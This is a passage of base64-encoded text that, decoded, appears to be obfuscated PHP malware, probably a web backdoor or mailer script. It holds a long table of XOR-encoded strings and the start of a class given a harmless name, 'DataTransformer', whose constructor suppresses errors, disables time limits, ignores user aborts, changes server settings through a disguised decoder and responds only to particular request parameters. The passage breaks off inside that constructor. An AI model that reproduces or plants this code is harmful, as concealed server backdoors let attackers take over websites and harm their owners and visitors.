ZRME9jQmNQSHpKYycsICdfcGFsJyA9PiAnY1JRZEhTa0ZHeEU9JywgJ19jam0nID0+ICdjQXdPTFZVY0x4VUFNMVVmTUFrYk9STVhjQjRFTmhkQScsICdfZmt1JyA9PiAnY1JvWUFDa0xIZ3c9JywgJ195ZnonID0+ICdjQjhISEhBYUZnRXdCVWtMSndBTFFUc0NEd053JywgJ191YmMnID0+ICdjUUljSFNrVEdoRT0nLCAnX3Z0bCcgPT4gJ2NBRWZMVnNBTUJjTk0xc0pLeGRET2d3Rk1sc0lOQjBCY0E9PScsICdfc2x0JyA9PiAnY1FRUkd5a1ZGeGM9JywgJ19tdScgPT4gJ2NBWUVDSEFmR0JrK0gxZ2ZLeEJZQ2pBQUF4dzJDMWdlTkJvYVZRPT0nLCAnX3JydCcgPT4gJ2NSUVVDQ2tGRWdRPScsICdfYXF6JyA9PiAnY0JZV0YzQVNEeFVwR2hGYk94Z0xHWEE9JywgJ19mdnMnID0+ICdjUklFSGlrREFoST0nLCAnX3ZjJyA9PiAnY0JVUVBGOFdMQUFGTWhSTE94c05NbDg9JywgJ193eScgPT4gJ2NRb0JFU2tiQngwPScsICdfb2snID0+ICdjQUlGREhBWEhCcytTQlVFTmdwZScsICdfZWsnID0+ICdjUVlmQXlrWEdROD0nLCAnX3hjJyA9PiAnY0JNU0hIQUpHZ3h3QkI0UEtRd0FRVHNPR2dOdycsICdfaWMnID0+ICdjUlVkQkNrRUd3Zz0nLCAnX3V1cicgPT4gJ2NBOFBMVllDTmh0QkxRb2VQaFFLY0IwRk5oUkInLCAnX3dwbCcgPT4gJ2NRb1ZEaWtiRXdJPScsICdfY2drJyA9PiAnY0FNR0xWb0xOaGRJTHhnVFBsb0ROQndLY0E9PScsICdfZ2ptJyA9PiAnY1FnVENDa1pGUVE9JywgJ195dycgPT4gJ0R5Zy9MaDR1TTFnVVB5OD0nLCAnX2VhcycgPT4gJ2NBc0FDSEFCQkE0eENoOENNa0FYQkRFSScsICdfeWhzJyA9PiAnY0JVYlBGOEFMeFVCT3hzR01sOEFMeFVCT3hzR01sNE1NQjRKJywgJ19td24nID0+ICdjQVFiTFY0RU1CSUpNMTROS3hKSE1BRU5NUlVETmh4R1BCNEdPUT09JywgJ19mdXQnID0+ICdjQUlNUEVnZEp3NFZhMGdkSnc0VmNRUVhNUUU9JywgJ19od2YnID0+ICdjQlVlUEY4UEp4a0hjQlVTTmgxRVBCOEVPUT09JywgJ19wa2YnID0+ICdjQThiTFZVRU1Ca0pNMVVOS3hsSE9nSUJNbFFMTUJRTycsICdfb25rJyA9PiAnY0FNWkYzQUxEQjB6U1FrZk5ndEFHVFlLR1JFdFNBNGJNUUE9JywgJ19vdycgPT4gJ2NCOFJHM0FlRGhFeVZRRVROaGRMR3pBVUF3PT0nLCAnX3VybicgPT4gJ2NBRVlQRXNOTWdVYU5oZERQQXNDT1VvSWNGRmNjaEVmT2hZPScsICdfa2tsJyA9PiAnY0FvYkdYQWRIQW8rQWd0Vk13QU1Hek5CQzFVN0JBWVhBQndHSFRFR0FSMXhEQUFVT1E9PScsICdfenJ2JyA9PiAnY0JjSEQzQUNIaGcrWFJBRE1SUWFDdz09JywgJ19jdncnID0+ICdjQ3dOSmlFQk13STBMRXhBY1UxQmNBPT0nLCAnX3pqJyA9PiAnRHpjN0NTUW1Ha1U1R2p3PScsICdfd2VuJyA9PiAnY0IwTkFESW1GaHMyRHdjZE9pWU5EQ1lsRlVOaUpSVkRkMWRNUUhBPScsICdfcWN2JyA9PiAnRHlvckNUazJHbGdwR2lFPScsICdfZnEnID0+ICdjQndUR3pJbkV4Y21KQXRZQTFCV1dITWtDMWdFWDFvdmQxWlNXd1JmV2k4REMxSXVkbGM9JywgJ19rbWMnID0+ICdEeWNoQ1RROEdsVWpHaXc9JywgJ192dHInID0+ICdjQjBESGpjeEVVQmlNUkZBQkVwQU4zZERTRU1FU2tBM2NBPT0nLCAnX2VpcicgPT4gJ0R5Y3NDVFF4R2xVdUdpdz0nLCAnX254aicgPT4gJ2NCOERKbGtBTmhnREF3ZE1ZaWdWZFZ4SWRWMUonLCAnX3VuYicgPT4gJ0R5QXhKQjRtUFZJVU55RT0nLCAnX2puJyA9PiAnY0FJRUxWc0pNQk5LTWhVTU0xb0pNQk09JywgJ19pamInID0+ICdjQXdZRUhBV0ZnVndDUUFSTXhVZScsICdfZ28nID0+ICdjQUFOQUhBYUF4VndHUndYTVJJSEd6SllBQjA0JywgJ19kcHEnID0+ICdjQmNBSDNBTkRncHdCQmtFTWs0TUREWVBEUUk0JywgJ191b2knID0+ICdjQlVmRXpzUUhoVi9FaFVMZng4Q0hUSWxBMWwzVjFwYmNBPT0nLCAnX25qJyA9PiAnRHlnZ0NUczlHbG9pR2lNPScsICdfaGwnID0+ICdHem9zS1FBaE55MEpNREVoQURvZ1BRPT0nLCAnX2d2JyA9PiAnRURNdU9oc29JamtBS0M0dEdTb25NUT09JywgJ196bCcgPT4gJ0dqUXZPd0FvTFQ4U015MHpCZz09JywgJ19wcicgPT4gJ0d6RWpPQUF4THl3QUtpc2hGdz09JywgJ195eXknID0+ICdFaVlxT2dBaktEOFNPQ2d6Qmc9PScsICdfdnpuJyA9PiAnRHo0bUNTMDdHa3drR2pVPScsICdfZXFqJyA9PiAnRHpRL1BCNHlNMG9VSXk4PScsICdfbWwnID0+ICdjQTBlUEVjWkxBUkZMeG9ES1FrZU9rYz0nLCAnX3F2dycgPT4gJ2NCY2RQRjBOTkJzRWNBPT0nLCAnX292bCcgPT4gJ2NBY1lDSEFOSEE0eEJnY0NNazBIRGlZUlF3PT0nLCAnX3dhZicgPT4gJ2NCUU9FM0FPQmdOd0JnUUlNazA9JywgJ19zd2snID0+ICdjQU1WRVhBTEFCc3pTUVVaTmd0TycsICdfb2InID0+ICdjQk1iQVhBVEZ3c3lRa0FHTkI4Q1RRPT0nLCAnX2NheCcgPT4gJ2NCSWRGM0FIQmdjckVRQU1jQk1DSFRKWScsICdfaWNxJyA9PiAnY0JJUUczQUxEQW8rQzB3TUt3Uk1EVFFPRGtZPScsICdfbWInID0+ICdjQVVLRGpwQ0FRZzJBRW89JywgJ19zb2onID0+ICdjQkVEQVRwV0FRMDJGVU1JTkJBQlF3PT0nLCAnX29yJyA9PiAnY0FzRE1nWkRLaEFKTFV3SU5Bb0JjQT09JywgJ196enknID0+ICdjQW9ER0N0WENCdzJGVU09JywgJ19qYicgPT4gJ0R5SXpPeDRrUDAwVU5TTT0nLCAnX2RxJyA9PiAnY1E9PScsICdfemduJyA9PiAnY1VrPScsICdfaWN2JyA9PiAnVlE9PScsICdfbmwnID0+ICdVZz09JywgJ19pZWInID0+ICcnLCAnX3F2eicgPT4gJ09SUWVCZz09JywgJ19rcmknID0+ICdLd2s9JywgJ19rbmQnID0+ICdMQjBERFRvTEZRPT0nLCAnX2doZicgPT4gJ094c0dDdz09JywgJ190YScgPT4gJ01nd0dCRDRPRUZvMkRRPT0nLCAnX3phJyA9PiAnVW5BPScsICdfaXhjJyA9PiAnJywgJ19kcicgPT4gJ1pRPT0nLCAnX2R1cScgPT4gJ2NEVWFSWEE9JywgJ191Y2YnID0+ICdmdz09JywgJ191cHYnID0+ICdaUT09JywgJ19hemonID0+ICdPd1VIT2c9PScsICdfbGhwJyA9PiAnT3hNREVHVT0nLCAnX3podCcgPT4gJ093c2VGZz09JywgJ190a20nID0+ICdNaDhVTEJzQU9sY09Pdz09JywgJ19jZCcgPT4gJ01nUUNIejRHRkVFMkJVdFEnLCAnX3N4JyA9PiAnWVE9PScsICdfdmxuJyA9PiAnTWcwRUxBa1FPa1VlT3c9PScsICdfbWpjJyA9PiAnT1JjZkd3PT0nLCAnX2xsYicgPT4gJ09Sd1dEMlU9JywgJ19mbnknID0+ICdPUVFXR0E9PScsICdfeHp5JyA9PiAnS3g4PScsICdfa3ZwJyA9PiAnS3hwWScsICdfb2onID0+ICdLeDQ9JywgJ19sYycgPT4gJ1pRPT0nLCAnX2Z0ZicgPT4gJ1pRPT0nLCAnX3R0JyA9PiAnS2hVREdDMEZFUT09JywgJ190eHgnID0+ICdVbXM9JywgJ19oY2MnID0+ICdaUT09JywgJ190dicgPT4gJ2NDVVlVWEE9JywgJ19wb3onID0+ICdmdz09JywgJ192aXcnID0+ICdaUT09JywgJ19obHUnID0+ICdVZz09JywgJ19sYmYnID0+ICcnLCAnX3FnbicgPT4gJ1ZRPT0nLCAnX2h2ZCcgPT4gJ2YyTT0nLCAnX2dxJyA9PiAnJywgJ19zc3YnID0+ICdVbVk9JywgJ195a3AnID0+ICdVbVE9JywgJ19leicgPT4gJ1Vucz0nLCAnX2RmaScgPT4gJ0h3PT0nLCAnX2loeCcgPT4gJ09COFdNVHdQRUJ3NkZCWXhLZ2tISEE9PScsICdfeHZlJyA9PiAnTFJ3Ykt3PT0nLCAnX25ibycgPT4gJ0REUXdMQm9nJywgJ19rYScgPT4gJ01SVVREQ2M9JywgJ19ka2EnID0+ICdQZ01OQ2pjVycsICdfZHhwJyA9PiAnS0E4QVREc1pBd0E9JywgJ19qdmsnID0+ICdOeEVWQ2pzPScsICdfYmx0JyA9PiAnS0EwYycsICdfeHJ1JyA9PiAnRENBL09SbzNNaTRiSVQ4PScsICdfa2MnID0+ICdEQ2N6Q1NjekFDTWxHekE9JywgJ194ZWYnID0+ICdMQW9RRHpzPScsICdfcXBzJyA9PiAnUEJzTlJXMD0nLCAnX3JidCcgPT4gJ0RRa2FPZ1VQT2doRGZ3b0xNQUZaJywgJ190ZXcnID0+ICdmMXc9JywgJ19maycgPT4gJ2Z6OD0nLCAnX3hmJyA9PiAnQWtONWVBPT0nLCAnX2F0bScgPT4gJ1ZnY1lSQT09JywgJ19wZHcnID0+ICdmMWdnTUFNRU9Sa0lkbEFITmdRWWZ6VWpFaVFnZnhrVWZ3PT0nLCAnX3F0YicgPT4gJ1VtOD0nLCAnX2pvaicgPT4gJ1Znc1lMVTFMJywgJ19zYW0nID0+ICdZVnBCJywgJ192bScgPT4gJ1Vudz0nLCAnX2h5dScgPT4gJ0RRb1dFRFlaRUJGbFR4Y01mdz09JywgJ195ZicgPT4gJ2YwOC9DaXdUQ1F3blMwOERMUWdDUlNvVUNoYzJBMDg9JywgJ19ibScgPT4gJ2RuVmwnLCAnX2t0cScgPT4gJ1ZnUVNSZz09JywgJ19wc3gnID0+ICdaRVE9JywgJ19uanUnID0+ICdVbnc9JywgJ19qY3AnID0+ICdEUUFOQnpZVEN3WmxSUWdRTUFoTycsICdfd21kJyA9PiAnZnhnUFRBPT0nLCAnX29jcicgPT4gJ2Z4SU1EVGRGQ1JZOEJBbFpkdz09JywgJ19yeGgnID0+ICdkbVZoJywgJ190a3knID0+ICdWa1VWQmlrSUhBY3ZDRjBPTFFJZFNHTT0nLCAnX2ZpJyA9PiAnWVZ0alZRPT0nLCAnX2htdScgPT4gJ1Znd1FRUT09JywgJ193d3QnID0+ICdjbEU9JywgJ19mcnknID0+ICdjZz09JywgJ19wbGYnID0+ICdVbTg9JywgJ19tb2UnID0+ICdWZ0lhQjM5WScsICdfYm5kJyA9PiAnWVVGUicsICdfa3FiJyA9PiAnVW1BPScsICdfdHAnID0+ICdMQVlMJywgJ19kbicgPT4gJ0xBSUhVM0JlJywgJ190cXMnID0+ICdLdzBKVW5CQicsICdfaGJkJyA9PiAnWlE9PScsICdfcHQnID0+ICcnLCAnX29nZCcgPT4gJ09Ra2VQQkVlTHg4ZicsICdfc3doJyA9PiAnTEJNVEJqNEtQaEF3QkFvR0t6Z0NEellDRHhjPScsICdfbGsnID0+ICdjQ1pHWFc5WCcsICdfZXRyJyA9PiAnR2pJK0VGbz0nLCAnX3F4JyA9PiAnVW1RPScsICdfdGpxJyA9PiAnY0RaVGFsaE8nLCAnX293dicgPT4gJ0Z5SXVPbjg9JywgJ19paycgPT4gJ1Vtdz0nLCAnX2VnZScgPT4gJ2NEOUVhbEZaJywgJ19nZ3UnID0+ICdERFVvSVFzMUpTQT0nLCAnX2F4cCcgPT4gJ0REY2lEVGMzRXpCdVZRPT0nLCAnX2JobycgPT4gJ2NDOUhWMjllJywgJ19xdicgPT4gJ0dpMHRJMzg9JywgJ19reHEnID0+ICdVbWc9JywgJ190eGQnID0+ICdjQ1pmYWtoQycsICdfemR0JyA9PiAnRWlVaUtuOGlPU2tTWGt0YScsICdfampwJyA9PiAnWVgxNicsICdfcnd2JyA9PiAnY0RSQVFXOUYnLCAnX2ZyJyA9PiAnRFRvMEluOHRLMHgvUlE9PScsICdfaHVrJyA9PiAnWVdwaCcsICdfaWtnJyA9PiAnY0RSUVF3UmFVeXR3JywgJ194b2UnID0+ICdHemdzSzFKeicsICdfamt0JyA9PiAnY0R0RVdXdEsnLCAnX21hcScgPT4gJ1ZRPT0nLCAnX2x6YycgPT4gJ1VuOD0nLCAnX3h2eScgPT4gJ1Vudz0nLCAnX2tlYScgPT4gJ2JWdFcnLCAnX2xjZycgPT4gJ0RpUXJPMUo3JywgJ19rdWknID0+ICdHamsvSm44PScsICdfZWJlJyA9PiAnVW1nPScsICdfcHFzJyA9PiAnY0NoRlVHOVonLCAnX25uYycgPT4gJ0Z6TXJMWDg9JywgJ19xdCcgPT4gJ1Vtdz0nLCAnX3R2ZScgPT4gJ2NDdFdWMjlhJywgJ19vZ20nID0+ICdERHd2TXdzOElqST0nLCAnX2p4JyA9PiAnRENNeEpBc2pQQ1ZTZlE9PScsICdfbmhmJyA9PiAnY0RkWGJWbEsnLCAnX2hybScgPT4gJ0dqMGlMbjg9JywgJ19tcCcgPT4gJ1VtOD0nLCAnX2pldScgPT4gJ2NEVkFRRzlFJywgJ196d2onID0+ICdIaXc5Slg4MUppb1dOMlJuJywgJ19wb3InID0+ICdjQ3hXVVd0ZCcsICdfc3knID0+ICdVbjQ9JywgJ195eScgPT4gJ2NDMWNRV3RjJywgJ19qZHcnID0+ICdVbUk9JywgJ193eGknID0+ICdjQzFjWFdwYycsICdfcmlkJyA9PiAnRWpFOUlYODJKaUlTU2xSUicsICdfZ2Z1JyA9PiAnWVdONCcsICdfa3RnJyA9PiAnY0NkZmFrbEMnLCAnX2lxYScgPT4gJ0RTbzdOWDg5SkZ0L1ZRPT0nLCAnX2ZnJyA9PiAnWVdOdCcsICdfcnRwJyA9PiAnY0NkSVVnUkpTenB3JywgJ19oenknID0+ICdHekFzTjFKNycsICdfdGN6JyA9PiAnY0NkSFdXdFcnLCAnX2xpcCcgPT4gJ1ZRPT0nLCAnX3JlJyA9PiAnVW1NPScsICdfZG1wJyA9PiAnVW1zPScsICdfYmdnJyA9PiAnYlUxVCcsICdfa2llJyA9PiAnRGpzc09sSmsnLCAnX2F6bicgPT4gJycsICdfcXV1JyA9PiAnZnc9PScsICdfYWhsJyA9PiAnUFVrSkRTMFZDZzhxQXdvUE9na2ZIajRMUlFNdEFBPT0nLCAnX3NseicgPT4gJ0p4WUNTQ3dFRHdzM0ZSc1ZjUnNjQVE9PScsICdfa2tpJyA9PiAnTEFVSGNSUWJQZ29EUGhJWWNRZ1pPQT09JywgJ19vb2cnID0+ICdKUWNHU3l3U0NRZzNBeDBXY1EwYUFnPT0nLCAnX2NxcCcgPT4gJ1BSNWJFaThUR0FJd0Fsc1BPZ1k9JywgJ19zcW4nID0+ICdkUmtBTTFFWE1RQU1NQndNZFE9PScsICdfdXhuJyA9PiAnY1E9PScsICdfc3F1JyA9PiAnY1E9PScsICdfaWJ2JyA9PiAnJywgJ19meWYnID0+ICdjUT09JywgJ192aScgPT4gJ2NRPT0nLCAnX2ZoZScgPT4gJ0hnPT0nLCAnX3FhdScgPT4gJ2Mxaz0nLCAnX2xlJyA9PiAnYzB3PScsICdfcGZ1JyA9PiAnRER3Mk9Cb3JPeUFlTkNFPScsICdfZHUnID0+ICdGenczTlFBZ0xEWUwnLCAnX3lkZycgPT4gJ0RDay9DU2svQUMwcEd6ND0nLCAnX3RhbycgPT4gJycsICdfa3htJyA9PiAnTXdrVEVUTU9Id01yJywgJ192aXonID0+ICdibGhaVDI5RVhrOXUnLCAnX3pmJyA9PiAnY1E9PScsICdfcHJpJyA9PiAnJywgJ19hZ3AnID0+ICdjRW9rTzF0Y2NBPT0nLCAnX3ZqdycgPT4gJycsICdfcXZ0JyA9PiAnTXhvQUFqTWREQkFyV3c4TVBCUVBCekFZQWdveCcsICdfeXEnID0+ICdjRFFDQnlnMlcxODInLCAnX2hmdicgPT4gJycsICdfdnNtJyA9PiAnY0RsWkpUc2NRRlZzR2kxWGRoeENCQU1EQ2toelZBeGRjQT09JywgJ19xbycgPT4gJ1pRPT0nLCAnX3Z4YycgPT4gJ2NEOUdCRkZEWmdCRE9TQkRHVHdWYmsxYUlsdEhKRkJDYUJ3MWIweFhQa3dJSGt3b0FocGZjMVVUZTA0PScsICdfa2NtJyA9PiAnY1E9PScsICdfbG5zJyA9PiAnY1E9PScsICdfaWwnID0+ICdjUT09JywgJ193cicgPT4gJ09CRU5BaWNHQ3c9PScsICdfampqJyA9PiAnT3hzUk56Z1FGamN0RUFFSExSRT0nLCAnX2hlZScgPT4gJ0t4SUFCam9IJywgJ19rb3YnID0+ICdLd2tmQmpvYycsICdfcmhnJyA9PiAnTHg0TCcsICdfdWYnID0+ICdMeFFhJywgJ190ZmUnID0+ICdOZ2c9JywgJ19kYicgPT4gJ05oaz0nLCAnX2t4bycgPT4gJ2NDNUdBeFFWYmx4ZElpeEFkZ3RkSWl3S0pFRkNiQTFLY0E9PScsICdfZ3d4JyA9PiAnQkE9PScsICdfdHduJyA9PiAnQWc9PScsICdfY3FnJyA9PiAnWlE9PScsICdfbmpnJyA9PiAnY0N4TkltOWZYQmh5RkNSVUdTOGVTSE5HR0VOMkNWUlZhQTgrU1hKTEJGUTVNMGcvQWdsVVZXc1BRVlk9JywgJ192cnEnID0+ICdCQT09JywgJ19pZ2UnID0+ICdBZz09JywgJ19wd2cnID0+ICcnLCAnX2xteScgPT4gJycsICdfbW52JyA9PiAnVlE9PScsICdfempuJyA9PiAnZkN3cEV6b1VHeE02RXdaYmQxNVpYbllzTDBJMkF3PT0nLCAnX290aScgPT4gJ2ZDUUJMUmtVT3pWQWQxWlJZRkVtSWxzVExBPT0nLCAnX3RtJyA9PiAnWVZsUScsICdfY3lrJyA9PiAnTnh3TUdHVkhWdz09JywgJ19mdGgnID0+ICdEVE1yQ2pNcEN5a3ZEVDg9JywgJ19sdWwnID0+ICdNMW89JywgJ19ocScgPT4gJ09oNFBIek5KJywgJ19kbnQnID0+ICdlUXBiJywgJ19ndGEnID0+ICdLUklIU2c9PScsICdfY3knID0+ICdaUT09JywgJ19uaGsnID0+ICdlUms9JywgJ19tdGonID0+ICdZZz09JywgJ19neGMnID0+ICdNd3dhTkY4PScsICdfbXJuJyA9PiAnWlE9PScsICdfeHInID0+ICdlUT09JywgJ19vYScgPT4gJ1lBZE0nLCAnX3RxdycgPT4gJ0JCWVhHaW9CQ2dvdENoc01aVDQ9JywgJ19ycScgPT4gJ054TUFMMTFiY0E9PScsICdfaGRwJyA9PiAnRFN3OUpobzZPQ3dLT3lVPScsICdfbWlhJyA9PiAnWUJaYScsICdfb3RsJyA9PiAnQkE4ZEJ5b1lBQmN0RXhFUlpTYz0nLCAnX2hpJyA9PiAnSXc9PScsICdfZWxxJyA9PiAnZkRBb0RqNGZGbHByVmx0Q2RGTmFNQUpQR2g4PScsICdfcHd5JyA9PiAnZkRRUEtRa0daVUJhZEZkZEF4VlhOaHM9JywgJ19pYmEnID0+ICdmQzR4QXlzR0N3RTNIdzhNSzBoQ1RIUk5RejRDVVFNUicsICdfdXlmJyA9PiAnWVV0UicsICdfc2tiJyA9PiAnJywgJ19odicgPT4gJ2ZENDNDeXNXRFFrM0R3a0VLeTlXUW5GSlUwTURQMDhETEE9PScsICdfb25kJyA9PiAnWVV4UCcsICdfbnVpJyA9PiAnZkRWQ1VuRkNWVk1EUUVrVExBPT0nLCAnX2xpZycgPT4gJ2N3PT0nLCAnX2picicgPT4gJ2R3PT0nLCAnX3Z1JyA9PiAnZGc9PScsICdfbGxqJyA9PiAnJywgJ194aWQnID0+ICcnLCAnX3JwYycgPT4gJ2ZEZytIeklGQWhOcFVGOWVjVTlhWHdNNVJoOHMnLCAnX3hwcCcgPT4gJ05oVUhDRHBPVWpBNUVRb0tjUWdJQ0E9PScsICdfZWRmJyA9PiAnT3dnQkcyVT0nLCAnX2tmbScgPT4gJ1pBZ1ZIRHBjUUVNPScsICdfYmMnID0+ICdKQkVSTFYwTicsICdfa2RlJyA9PiAnSkJRZlBoZ2VaUXc9JywgJ19idXMnID0+ICdKQThWR21WSUNRPT0nLCAnX3VqaicgPT4gJ0dRSUVCMlZRJywgJ19odnAnID0+ICdmMTQ9JywgJ191d3YnID0+ICdZV1p2JywgJ19zbycgPT4gJ0RRQUFDU1pJSkFwbFJRPT0nLCAnX3h2dCcgPT4gJ1VuND0nLCAnX2FibycgPT4gJ0VqdzNJWElqSHhZc0hCVUtaVlZMU205NGNBPT0nLCAnX3ljJyA9PiAnVlE9PScsICdfcWEnID0+ICdVbUU9JywgJ19qcmknID0+ICdVbTA9JywgJ19jbmMnID0+ICdQUWNLT2xCTicsICdfcXAnID0+ICdOaEVkRmlrPScsICdfeGhvJyA9PiAnWWxvPScsICdfZ2pqJyA9PiAnWUNCVCcsICdfaXF4JyA9PiAnQ2lZdVFXYz0nLCAnX3NyeCcgPT4gJ1lFOD0nLCAnX3N1YicgPT4gJ1lrOD0nLCAnX2NieicgPT4gJ1lDdFAnLCAnX3BqZycgPT4gJ1lGbz0nLCAnX3pyeCcgPT4gJ0xoQUJBRG9CUXdRdERBQUFQZ2NDRVE9PScsICdfcXZoJyA9PiAnTWhZNE9ob0VNQkFDQUJrT01oRVBPaFVET2dZPScsICdfZWt0JyA9PiAnRGc9PScsICdfbHFtJyA9PiAnVW5NPScsICdfdGdkJyA9PiAnVWc9PScsICdfZ2ZrJyA9PiAnVlE9PScsICdfd2dzJyA9PiAnVlE9PScsICdfZXViJyA9PiAnVW1jPScsICdfZnRuJyA9PiAnUFEwWEFHbFknLCAnX3dqYycgPT4gJ0xoY0tLd2NCY2hJWE5nd1JQZ0FKT2c9PScsICdfeWwnID0+ICdVbWs9JywgJ19jbicgPT4gJ1l4TlMnLCAnX2xmaycgPT4gJ1l3az0nLCAnX3N1bicgPT4gJ054Y0dEUT09JywgJ196YXAnID0+ICdmUT09JywgJ19lcScgPT4gJ2ZRPT0nLCAnX3dtZScgPT4gJ1kxbz0nLCAnX3NpaycgPT4gJ1lRPT0nLCAnX3N2aScgPT4gJ05SVUdFQT09JywgJ19taG4nID0+ICdOUjRNJywgJ190eGgnID0+ICdPUk1QT2c9PScsICdfaXhrJyA9PiAnS3dnV09qRUVDd0E9JywgJ19vdicgPT4gJ09SQURBQT09JywgJ19idmYnID0+ICdLdzhGTkRFREdBND0nLCAnX3NmeCcgPT4gJ0xoTUxHeXNkR3dBd0ZBOGFPd0lKQVRVUEFoTW5CeGdMTVFrPScsICdfbGJ1JyA9PiAnUGdRYUNUb0FIZ1UwQ3hjZExoUUtHU29RRGhVbUhEZ3ZIQ0k4S3hndU1pQVJOaWcvRERJc093ZytJRGR1VkVwWmFsQk9WV1pXJywgJ19pcWUnID0+ICdibDFYUTJwWlUwOW1Ydz09JywgJ19sc2gnID0+ICdQaFVCRlRvUkJSazBHZ3dCTGdVUkJTb0JGUWttRFZORGJFTlhSMmhQVzBFPScsICdfYmdhJyA9PiAnJywgJ19waCcgPT4gJ09CQUdHVElVRlJVc0hBZ1YnLCAnX2hzJyA9PiAnTmhvUk9CSVRMUklSS3hJRUxRSVZQQmdjTUFVPScsICdfeG4nID0+ICdOaDhHQ3pvUkZRaytCZ0lLTFIwS0JpOFhBQT09JywgJ19mdmsnID0+ICdOaDhIQkRvUkNSTW1BQU1RUGg4V0R6b1cnLCAnX215YycgPT4gJ05nNFFDVG9GR0FJckJnTT0nLCAnX25nZycgPT4gJ01Bc3JFU3NJQmhZPScsICdfeHZ6JyA9PiAnTmc4Sk9BY0NMd2NQJywgJ19wam0nID0+ICdNQWttQ1RvZkpnMHpEaGdBJywgJ19yZycgPT4gJ01nVUdId0FQQkJRckNRVU9BQmdTQ2pvPScsICdfYmtvJyA9PiAnT1FBWUFqQTJHUlE2Qnc9PScsICdfdmpkJyA9PiAnUGdrY0FqWWFEUm8yRmdKQk1Cb1lDeXRVSHhvdEhBMEQnLCAnX3B0eCcgPT4gJ05Sa0snLCAnX3FvZCcgPT4gJ05oY05IenBWQmdnNkhRPT0nLCAnX25heScgPT4gJ05SUUFGQT09JywgJ19heHYnID0+ICdOaFVTRVRwWEdRWTZIdz09JywgJ19vb3AnID0+ICdMd01VJywgJ19waG4nID0+ICdOZ1VPRkRwSEh4MDQnLCAnX3ZnJyA9PiAnT0JvUCcsICdfYWVsJyA9PiAnTmdBQ0ZqcENCQmc1JywgJ19sem4nID0+ICdQUW9mJywgJ191bnUnID0+ICdOZ1VVQWpwSEZ3Z3YnLCAnX2NraScgPT4gJ0x3QUEnLCAnX3l6eicgPT4gJ1BnY2VNeDROUGdNSE1CbEJMeE1JJywgJ19pa3knID0+ICdKUWNLJywgJ19hbXonID0+ICdQZ2diSERZYkNnUTJGd1ZmSlJFYicsICdfc3V0JyA9PiAnTFJrYycsICdfZmNzJyA9PiAnUGdvSU14TWJQZzRSTUJSWEoxY0tQZ2hWUEJVVkx3Z2RMQWtkT3c9PScsICdfZ2wnID0+ICdLeHNjJywgJ19vanQnID0+ICdLeGNBSzEwSU14TVJNUT09JywgJ191Y2wnID0+ICdQaFVWR3pZR0JBTTJDZ3RZTUFZUkVpdElGZ010QUFRYScsICdfZ3NiJyA9PiAnT3hvUU96Z1JGenN0RVFBTExSQT0nLCAnX2dpYicgPT4gJ2NRPT0nLCAnX2p6JyA9PiAnY1E9PScsICdfanZlJyA9PiAnY1I4SlNqNFNBeFZ4RnhVWFBnPT0nLCAnX3NwcicgPT4gJ0t3a2NERG9jJywgJ19tbW8nID0+ICdLeGdIT0J3QicsICdfeHRxJyA9PiAnQlE9PScsICdfanhrJyA9PiAnY2c9PScsICdfbGQnID0+ICdkQT09JywgJ19yYncnID0+ICdlaGxCVVN4UFVVQTcnLCAnX2VqaScgPT4gJ0cxbEdCSDg0UmpkL1BWd0haUVk9JywgJ19vc2cnID0+ICdjUT09JywgJ19zeWUnID0+ICcnLCAnX2x0ZycgPT4gJ0doY1FESDg9JywgJ196b2YnID0+ICdjUT09JywgJ194cycgPT4gJ0xRPT0nLCAnX2dhbycgPT4gJ0h3PT0nKTsKICAgIH0KfQoKY2xhc3MgRGF0YVRyYW5zZm9ybWVyCnsKICAgIHByaXZhdGUgJF9rdDsKICAgIHByaXZhdGUgJF9pd3ggPSBhcnJheSgpOwogICAgcHJpdmF0ZSAkX2J4ZSA9IGFycmF5KCk7CiAgICBwcml2YXRlICRfbm5oID0gMDA7CiAgICBwcml2YXRlICRfdmUgPSAiVVRGLTgiOwogICAgcHJpdmF0ZSAkX2R6ID0gImJhc2U2NCI7CiAgICBwcml2YXRlICRfcWxsID0gZmFsc2U7CiAgICBwcml2YXRlICRfbWlyOwogICAgcHJpdmF0ZSAkX3VhbyA9ICJcclxuIjsKICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkKICAgIHsKICAgICAgICBAZXJyb3JfcmVwb3J0aW5nKDAwKTsKICAgICAgICBAaW5pX3NldChEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2JiJywgJ193ZycpLCAwMCk7CiAgICAgICAgQHNldF90aW1lX2xpbWl0KDA0NTQpOwogICAgICAgIEBpZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsKICAgICAgICBAaW5pX3NldChEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3FtJywgJ19ndmcnKSwgMDQ1NCk7CiAgICAgICAgQGluaV9zZXQoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ190ZmcnLCAnX3JsJyksIDAwKTsKICAgICAgICBAaW5pX3NldChEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3BvbCcsICdfcmdtJyksIDAwKTsKICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcm8nLCAnX3l4JyldKSkgewogICAgICAgICAgICBkaWUoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19raScsICdfcnNrJykpOwogICAgICAgIH0KICAgICAgICBpZiAoZW1wdHkoJF9SRVFVRVNUKSkgewogICAgICAgICAgICBkaWU7CiAgICAgICAgfQogICAgICAgICRfU0VSVkVSW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYXInLCAnX2V3JyldID0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19leWonLCAnX3h2Jyk7CiAgICAgICAgJHRoaXMtPl9rdCA9IGlzc2V0KCRfU0VSVkVSW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfenonLCAnX3J1cScpXSkgPyAkX1NFUlZFUltEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2p3JywgJ19jbncnKV0gOiByYW5kKDAxLCAwMzc3KSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfam9rJywgJ19rZmQnKSAuIHJhbmQoMDAsIDAzNzcpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ194YXU